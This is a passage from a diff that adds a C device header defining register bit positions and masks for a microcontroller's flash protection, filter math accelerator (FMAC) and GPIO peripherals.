0x0000001F */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0x1FUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0x1FUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0x1FUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0x1FUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0x1FUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x0000001F */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0x1FUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x001F0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << FMAC_SR_YEMPTY_Pos) /*!< 0x00000001 */ +#define FMAC_SR_YEMPTY FMAC_SR_YEMPTY_Msk /*!< Y buffer empty flag */ +#define FMAC_SR_X1FULL_Pos (1UL) +#define FMAC_SR_X1FULL_Msk (0x1UL << FMAC_SR_X1FULL_Pos) /*!< 0x00000002 */ +#define FMAC_SR_X1FULL FMAC_SR_X1FULL_Msk /*!< X1 buffer full flag */ +#define FMAC_SR_OVFL_Pos (8UL) +#define FMAC_SR_OVFL_Msk (0x1UL << FMAC_SR_OVFL_Pos) /*!< 0x00000100 */ +#define FMAC_SR_OVFL FMAC_SR_OVFL_Msk /*!< Overflow error flag */ +#define FMAC_SR_UNFL_Pos (9UL) +#define FMAC_SR_UNFL_Msk (0x1UL << FMAC_SR_UNFL_Pos) /*!< 0x00000200 */ +#define FMAC_SR_UNFL FMAC_SR_UNFL_Msk /*!< Underflow error flag */ +#define FMAC_SR_SAT_Pos (10UL) +#define FMAC_SR_SAT_Msk (0x1UL << FMAC_SR_SAT_Pos) /*!< 0x00000400 */ +#define FMAC_SR_SAT FMAC_SR_SAT_Msk /*!< Saturation error flag */ + +/****************** Bit definition for FMAC_WDATA register ******************/ +#define FMAC_WDATA_WDATA_Pos (0UL) +#define FMAC_WDATA_WDATA_Msk (0xFFFFUL << FMAC_WDATA_WDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_WDATA_WDATA FMAC_WDATA_WDATA_Msk /*!< Write data */ + +/****************** Bit definition for FMACX_RDATA register *****************/ +#define FMAC_RDATA_RDATA_Pos (0UL) +#define FMAC_RDATA_RDATA_Msk (0xFFFFUL << FMAC_RDATA_RDATA_Pos) /*!< 0x0000FFFF */ +#define FMAC_RDATA_RDATA FMAC_RDATA_RDATA_Msk /*!< Read data */ + + +/******************************************************************************/ +/* */ +/* General Purpose IOs (GPIO) */ +/* */ +/******************************************************************************/ +/****************** Bits definition for GPIO_MODER register *****************/ +#define GPIO_MODER_MODE0_Pos (0UL) +#define GPIO_MODER_MODE0_Msk (0x3UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000003 */ +#define GPIO_MODER_MODE0 GPIO_MODER_MODE0_Msk +#define GPIO_MODER_MODE0_0 (0x1UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000001 */ +#define GPIO_MODER_MODE0_1 (0x2UL << GPIO_MODER_MODE0_Pos) /*!< 0x00000002 */ +#define GPIO_MODER_MODE1_Pos (2UL) +#define GPIO_MODER_MODE1_Msk (0x3UL << GPIO_MODER_MODE1_Pos) /*!< 0x0000000C */ +#define GPIO_MODER_MODE1 GPIO_MODER_MODE1_Msk +#define GPIO_MODER_MODE1_0 (0x1UL << GPIO_MODER_MODE1_Pos) /*!< 0x00000004 */ +#define GPIO_MODER_MODE1_1 (0x2UL << GPIO_MODER_MODE1_Pos) /*!< 0x00000008 */ +#define GPIO_MODER_MODE2_Pos (4UL) +#define GPIO_MODER_MODE2_Msk (0x3UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000030 */ +#define GPIO_MODER_MODE2 GPIO_MODER_MODE2_Msk +#define GPIO_MODER_MODE2_0 (0x1UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000010 */ +#define GPIO_MODER_MODE2_1 (0x2UL << GPIO_MODER_MODE2_Pos) /*!< 0x00000020 */ +#define GPIO_MODER_MODE3_Pos (6UL) +#define GPIO_MODER_MODE3_Msk (0x3UL << GPIO_MODER_MODE3_Pos) /*!< 0x000000C0 */ +#define GPIO_MODER_MODE3 GPIO_MODER_MODE3_Msk +#define GPIO_MODER_MODE3_0 (0x1UL << GPIO_MODER_MODE3_Pos) /*!< 0x00000040 */ +#define GPIO_MODER_MODE3_1 (0x2UL << GPIO_MODER_MODE3_Pos) /*!< 0x00000080 */ +#define GPIO_MODER_MODE4_Pos (8UL) +#define GPIO_MODER_MODE4_Msk (0x3UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000300 */ +#define GPIO_MODER_MODE4 GPIO_MODER_MODE4_Msk +#define GPIO_MODER_MODE4_0 (0x1UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000100 */ +#define GPIO_MODER_MODE4_1 (0x2UL << GPIO_MODER_MODE4_Pos) /*!< 0x00000200 */ +#define GPIO_MODER_MODE5_Pos (10UL) +#define GPIO_MODER_MODE5_Msk (0x3UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000C00 */ +#define GPIO_MODER_MODE5 GPIO_MODER_MODE5_Msk +#define GPIO_MODER_MODE5_0 (0x1UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000400 */ +#define GPIO_MODER_MODE5_1 (0x2UL << GPIO_MODER_MODE5_Pos) /*!< 0x00000800 */ +#define GPIO_MODER_MODE6_Pos (12UL) +#define GPIO_MODER_MODE6_Msk (0x3UL << GPIO_MODER_MODE6_Pos) /*!< 0x00003000 */ +#define GPIO_MODER_MODE6 GPIO_MODER_MODE6_Msk +#define GPIO_MODER_MODE6_0 (0x1UL << GPIO_MODER_MODE6_Pos) /*!< 0x00001000 */ +#define GPIO_MODER_MODE6_1 (0x2UL << GPIO_MODER_MODE6_Pos) /*!< 0x00002000 */ +#define GPIO_MODER_MODE7_Pos (14UL) +#define GPIO_MODER_MODE7_Msk (0x3UL << GPIO_MODER_MODE7_Pos) /*!< 0x0000C000 */ +#define GPIO_MODER_MODE7 GPIO_MODER_MODE7_Msk +#define GPIO_MODER_MODE7_0 (0x1UL << GPIO_MODER_MODE7_Pos) /*!< 0x00004000 */ +#define GPIO_MODER_MODE7_1 (0x2UL << GPIO_MODER_MODE7_Pos) /*!< 0x00008000 */ +#define GPIO_MODER_MODE8_Pos (16UL) +#define GPIO_MODER_MODE8_Msk (0x3UL << GPIO_MODER_MODE8_Pos) /*!< 0x00030000 */ +#define GPIO_MODER_MODE8 GPIO_MODER_MODE8_Msk +#define GPIO_MODER_MODE8_0 (0x1UL << GPIO_MODER_MODE8_Pos) /*!< 0x00010000 */ +#define GPIO_MODER_MODE8_1 (0x2UL << GPIO_MODER_MODE8_Pos) /*!< 0x00020000 */ +#define GPIO_MODER_MODE9_Pos (18UL) +#define GPIO_MODER_MODE9_Msk (0x3UL << GPIO_MODER_MODE9_Pos) /*!< 0x000C0000 */ +#define GPIO_MODER_MODE9 GPIO_MODER_MODE9_Msk +#define GPIO_MODER_MODE9_0 (0x1UL << GPIO_MODER_MODE9_Pos) /*!< 0x00040000 */ +#define GPIO_MODER_MODE9_1 (0x2UL << GPIO_MODER_MODE9_Pos) /*!< 0x00080000 */ +#define GPIO_MODER_MODE10_Pos (20UL) +#define GPIO_MODER_MODE10_Msk (0x3UL << GPIO_MODER_MODE10_Pos) /*!< 0x00300000 */ +#define GPIO_MODER_MODE10 GPIO_MODER_MODE10_Msk +#define GPIO_MODER_MODE10_0 (0x1UL << GPIO_MODER_MODE10_Pos) /*!< 0x00100000 */ +#define GPIO_MODER_MODE10_1 (0x2UL << GPIO_MODER_MODE10_Pos) /*!< 0x00200000 */ +#define GPIO_MODER_MODE11_Pos (22UL) +#define GPIO_MODER_MODE11_Msk (0x3UL << GPIO_MODER_MODE11_Pos) /*!< 0x00C00000 */ +#define GPIO_MODER_MODE11 GPIO_MODER_MODE11_Msk +#define GPIO_MODER_MODE11_0 (0x1UL << GPIO_MODER_MODE11_Pos) /*!< 0x00400000 */ +#define GPIO_MODER_MODE11_1 (0x2UL << GPIO_MODER_MODE11_Pos) /*!< 0x00800000 */ +#define GPIO_MODER_MODE12_Pos (24UL) +#define GPIO_MODER_MODE12_Msk (0x3UL << GPIO_MODER_MODE12_Pos) /*!< 0x03000000 */ +#define GPIO_MODER_MODE12 GPIO_MODER_MODE12_Msk +#define GPIO_MODER_MODE12_0 (0x1UL << GPIO_MODER_MODE12_Pos) /*!< 0x01000000 */ +#define GPIO_MODER_MODE12_1 (0x2UL << GPIO_MODER_MODE12_Pos) /*!< 0x02000000 */ +#define GPIO_MODER_MODE13_Pos (26UL) +#define GPIO_MODER_MODE13_Msk (0x3UL << GPIO_MODER_MODE13_Pos) /*!< 0x0C000000 */ +#define GPIO_MODER_MODE13 GPIO_MODER_MODE13_Msk +#define GPIO_MODER_MODE13_0 (0x1UL << GPIO_MODER_MODE13_Pos) /*!< 0x04000000 */ +#define GPIO_MODER_MODE13_1 (0x2UL << GPIO_MODER_MODE13_Pos) /*!< 0x08000000 */ +#define GPIO_MODER_MODE14_Pos (28UL) +#define GPIO_MODER_MODE14_Msk (0x3UL << GPIO_MODER_MODE14_Pos) /*!< 0x30000000 */ +#define GPIO_MODER_MODE14 GPIO_MODER_MODE14_Msk +#define GPIO_MODER_MODE14_0 (0x1UL << GPIO_MODER_MODE14_Pos) /*!< 0x10000000 */ +#define GPIO_MODER_MODE14_1 (0x2UL << GPIO_MODER_MODE14_Pos) /*!< 0x20000000 */ +#define GPIO_MODER_MODE15_Pos (30UL) +#define GPIO_MODER_MODE15_Msk (0x3UL << GPIO_MODER_MODE15_Pos) /*!< 0xC0000000 */ +#define GPIO_MODER_MODE15 GPIO_MODER_MODE15_Msk +#define GPIO_MODER_MODE15_0 (0x1UL << GPIO_MODER_MODE15_Pos) /*!< 0x40000000 */ +#define GPIO_MODER_MODE15_1 (0x2UL << GPIO_MODER_MODE15_Pos) /*!< 0x80000000 */ + +/****************** Bits definition for GPIO_OTYPER register ****************/ +#define GPIO_OTYPER_OT0_Pos (0UL) +#define GPIO_OTYPER_OT0_Msk (0x1UL << GPIO_OTYPER_OT0_Pos) /*!< 0x00000001 */ +#define GPIO_OTYPER_OT0 GPIO_OTYPER_OT0_Msk +#define GPIO_OTYPER_OT1_Pos (1UL) +#define GPIO_OTYPER_OT1_Msk (0x1UL << GPIO_OTYPER_OT1_Pos) /*!< 0x00000002 */ +#define GPIO_OTYPER_OT1 GPIO_OTYPER_OT1_Msk +#define GPIO_OTYPER_OT2_Pos (2UL) +#define GPIO_OTYPER_OT2_Msk (0x1UL << GPIO_OTYPER_OT2_Pos) /*!< 0x00000004 */ +#define GPIO_OTYPER_OT2 GPIO_OTYPER_OT2_Msk +#define GPIO_OTYPER_OT3_Pos (3UL) +#define GPIO_OTYPER_OT3_Msk (0x1UL << GPIO_OTYPER_OT3_Pos) /*!< 0x00000008 */ +#define GPIO_OTYPER_OT3 GPIO_OTYPER_OT3_Msk +#define GPIO_OTYPER_OT4_Pos (4UL) +#define GPIO_OTYPER_OT4_Msk (0x1UL << GPIO_OTYPER_OT4_Pos) /*!< 0x00000010 */ +#define GPIO_OTYPER_OT4 GPIO_OTYPER_OT4_Msk +#define GPIO_OTYPER_OT5_Pos (5UL) +#define GPIO_OTYPER_OT5_Msk (0x1UL << GPIO_OTYPER_OT5_Pos) /*!< 0x00000020 */ +#define GPIO_OTYPER_OT5 GPIO_OTYPER_OT5_Msk +#define GPIO_OTYPER_OT6_Pos (6UL) +#define GPIO_OTYPER_OT6_Msk (0x1UL << GPIO_OTYPER_OT6_Pos) /*!< 0x00000040 */ +#define GPIO_OTYPER_OT6 GPIO_OTYPER_OT6_Msk +#define GPIO_OTYPER_OT7_Pos (7UL) +#define GPIO_OTYPER_OT7_Msk (0x1UL << GPIO_OTYPER_OT7_Pos) /*!< 0x00000080 */ +#define GPIO_OTYPER_OT7 GPIO_OTYPER_OT7_Msk +#define GPIO_OTYPER_OT8_Pos (8UL) +#define GPIO_OTYPER_OT8_Msk (0x1UL << GPIO_OTYPER_OT8_Pos) /*!< 0x00000100 */ +#define GPIO_OTYPER_OT8 GPIO_OTYPER_OT8_Msk +#define GPIO_OTYPER_OT9_Pos (9UL) +#define GPIO_OTYPER_OT9_Msk (0x1UL << GPIO_OTYPER_OT9_Pos) /*!< 0x00000200 */ +#define GPIO_OTYPER_OT9 GPIO_OTYPER_OT9_Msk +#define GPIO_OTYPER_OT10_Pos (10UL) +#define GPIO_OTYPER_OT10_Msk (0x1UL << GPIO_OTYPER_OT10_Pos) /*!< 0x00000400 */ +#define GPIO_OTYPER_OT10 GPIO_OTYPER_OT10_Msk +#define GPIO_OTYPER_OT11_Pos (11UL) +#define GPIO_OTYPER_OT11_Msk (0x1UL << GPIO_OTYPER_OT11_Pos) /*!< 0x00000800 */ +#define GPIO_OTYPER_OT11 GPIO_OTYPER_OT11_Msk +#define GPIO_OTYPER_OT12_Pos (12UL) +#define GPIO_OTYPER_OT12_Msk (0x1UL << GPIO_OTYPER_OT12_Pos) /*!< 0x00001000 */ +#define GPIO_OTYPER_OT12 GPIO_OTYPER_OT12_Msk +#define GPIO_OTYPER_OT13_Pos (13UL) +#define GPIO_OTYPER_OT13_Msk (0x1UL << GPIO_OTYPER_OT13_Pos) /*!< 0x00002000 */ +#define GPIO_OTYPER_OT13 GPIO_OTYPER_OT13_Msk +#define GPIO_OTYPER_OT14_Pos (14UL) +#define GPIO_OTYPER_OT14_Msk (0x1UL << GPIO_OTYPER_OT14_Pos) /*!< 0x00004000 */ +#define GPIO_OTYPER_OT14 GPIO_OTYPER_OT14_Msk +#define GPIO_OTYPER_OT15_Pos (15UL) +#define GPIO_OTYPER_OT15_Msk (0x1UL << GPIO_OTYPER_OT15_Pos) /*!< 0x00008000 */ +#define GPIO_OTYPER_OT15 GPIO_OTYPER_OT15_Msk + +/****************** Bits definition for GPIO_OSPEEDR register ***************/ +#define GPIO_OSPEEDR_OSPEED0_Pos (0UL) +#define GPIO_OSPEEDR_OSPEED0_Msk (0x3UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000003 */ +#define GPIO_OSPEEDR_OSPEED0 GPIO_OSPEEDR_OSPEED0_Msk +#define GPIO_OSPEEDR_OSPEED0_0 (0x1UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000001 */ +#define GPIO_OSPEEDR_OSPEED0_1 (0x2UL << GPIO_OSPEEDR_OSPEED0_Pos) /*!< 0x00000002 */ +#define GPIO_OSPEEDR_OSPEED1_Pos (2UL) +#define GPIO_OSPEEDR_OSPEED1_Msk (0x3UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x0000000C */ +#define GPIO_OSPEEDR_OSPEED1 GPIO_OSPEEDR_OSPEED1_Msk +#define GPIO_OSPEEDR_OSPEED1_0 (0x1UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x00000004 */ +#define GPIO_OSPEEDR_OSPEED1_1 (0x2UL << GPIO_OSPEEDR_OSPEED1_Pos) /*!< 0x00000008 */ +#define GPIO_OSPEEDR_OSPEED2_Pos (4UL) +#define GPIO_OSPEEDR_OSPEED2_Msk (0x3UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000030 */ +#define GPIO_OSPEEDR_OSPEED2 GPIO_OSPEEDR_OSPEED2_Msk +#define GPIO_OSPEEDR_OSPEED2_0 (0x1UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000010 */ +#define GPIO_OSPEEDR_OSPEED2_1 (0x2UL << GPIO_OSPEEDR_OSPEED2_Pos) /*!< 0x00000020 */ +#define GPIO_OSPEEDR_OSPEED3_Pos (6UL) +#define GPIO_OSPEEDR_OSPEED3_Msk (0x3UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x000000C0 */ +#define GPIO_OSPEEDR_OSPEED3 GPIO_OSPEEDR_OSPEED3_Msk +#define GPIO_OSPEEDR_OSPEED3_0 (0x1UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x00000040 */ +#define GPIO_OSPEEDR_OSPEED3_1 (0x2UL << GPIO_OSPEEDR_OSPEED3_Pos) /*!< 0x00000080 */ +#define GPIO_OSPEEDR_OSPEED4_Pos (8UL) +#define GPIO_OSPEEDR_OSPEED4_Msk (0x3UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000300 */ +#define GPIO_OSPEEDR_OSPEED4 GPIO_OSPEEDR_OSPEED4_Msk +#define GPIO_OSPEEDR_OSPEED4_0 (0x1UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000100 */ +#define GPIO_OSPEEDR_OSPEED4_1 (0x2UL << GPIO_OSPEEDR_OSPEED4_Pos) /*!< 0x00000200 */ +#define GPIO_OSPEEDR_OSPEED5_Pos (10UL) +#define GPIO_OSPEEDR_OSPEED5_Msk (0x3UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000C00 */ +#define GPIO_OSPEEDR_OSPEED5 GPIO_OSPEEDR_OSPEED5_Msk +#define GPIO_OSPEEDR_OSPEED5_0 (0x1UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000400 */ +#define GPIO_OSPEEDR_OSPEED5_1 (0x2UL << GPIO_OSPEEDR_OSPEED5_Pos) /*!< 0x00000800 */ +#define GPIO_OSPEEDR_OSPEED6_Pos (12UL) +#define GPIO_OSPEEDR_OSPEED6_Msk (0x3UL << GPIO_OSPEEDR_OSPEED6_Pos) /*!< 0x00003000 */ +#define GPIO_OSPEEDR_OSPEED6 GPIO_OSPEEDR_OSPEED6_Msk 